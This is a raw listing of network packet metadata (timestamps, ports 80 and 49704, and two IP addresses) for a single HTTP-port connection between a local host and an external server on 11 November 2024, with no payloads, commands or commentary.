Nov 11, 2024 21:59:02.894689083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894689083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894689083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894690037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894702911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894709110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894716024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894721985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894728899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894735098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894742012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894747019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894767046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894777060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894779921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894785881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894795895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894808054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894810915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894821882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894826889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894840002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894850969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894862890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894866943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894872904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894885063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894889116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894896984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894908905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894915104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894920111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894933939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894943953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894949913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894973993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.894979954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.894990921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895004034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895015001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895020962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.895026922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895039082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895044088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.895051956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895072937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.895076036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.895087957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.895112991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933221102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933258057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933270931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933325052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933342934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933367968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933381081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933394909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933408976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933410883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933410883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933410883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933410883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933435917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933435917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933442116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933453083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933464050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933473110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933475018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933487892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933491945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933499098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933499098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933518887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933528900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933531046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933542013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933547974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933552027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933553934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933567047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933585882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933597088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933598995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933614969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933618069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933631897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933640003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933643103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933655024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933661938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933669090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933680058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933687925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933697939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933713913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933727026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933747053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933763027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933774948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933784008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933795929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933808088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933809996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933821917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933834076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933842897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933847904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933852911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933861971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933864117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933878899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933880091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933891058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933901072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933904886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933912992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933926105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933929920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933938026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.933948040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.933971882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934015989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934035063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934046030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934051991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934057951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934061050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934071064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934082985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934086084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934092999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934104919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934123039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934127092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934134007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934138060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934143066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934145927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934158087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934168100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934170008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934176922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934179068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934204102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934210062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934216022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934217930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934227943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934241056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934246063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934252024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934252977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934264898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934277058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934277058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934289932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934300900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934322119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934351921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934355974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934367895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934379101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934392929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934402943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934406042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934417963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934428930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934431076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934437037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934441090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934448957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934463024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934474945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934485912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934487104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934497118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934510946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934521914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934525013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934534073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934542894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934545994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934556961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934566021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934570074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934581995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934593916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934597015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934600115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934604883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934612036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934624910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934627056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934638023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934644938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934649944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934660912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934673071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934695959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934698105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934712887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934715033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934727907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934740067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934741020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934758902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934760094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934772015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934772968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934782982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934794903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934801102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934807062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934818983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934824944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934849024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934859991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934902906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934915066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934925079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934937000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934950113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934952021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934969902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934973955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934983969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.934993982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.934997082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935009956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935015917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935020924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935026884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935029030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935045958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935046911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935059071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935062885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935071945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935077906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935084105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935086966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935094118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935112000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935112953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935126066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935137033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935137987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935148954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935149908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935159922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935173988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935177088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935198069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935209036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935257912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935270071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935281038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935292959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935306072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935307980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935328960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935333967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935342073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935345888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935347080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935357094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935367107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935386896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935395002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935398102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935410976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935417891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935424089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935436964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935436964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935448885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935461998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935466051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935475111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935478926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935487032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935498953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935503960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935527086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935545921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935559034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935565948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935564995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935576916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935589075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935600042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935602903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935616016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935628891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935635090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935642958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935648918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935659885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935672045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935672998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935682058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935683966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935700893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935713053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935714960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935728073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935734987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935743093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935756922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935777903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935828924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935839891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935851097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935863972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935874939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935878038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935889006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935890913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935904980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935915947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935924053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935936928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935939074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935947895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935961008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935962915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935972929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.935990095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.935992956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936006069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936016083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.936017990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936031103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936033964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.936043978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936058044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936060905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:02.936069012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:02.936086893 CET	80	49704	185.215.113.206	192.168.2.5
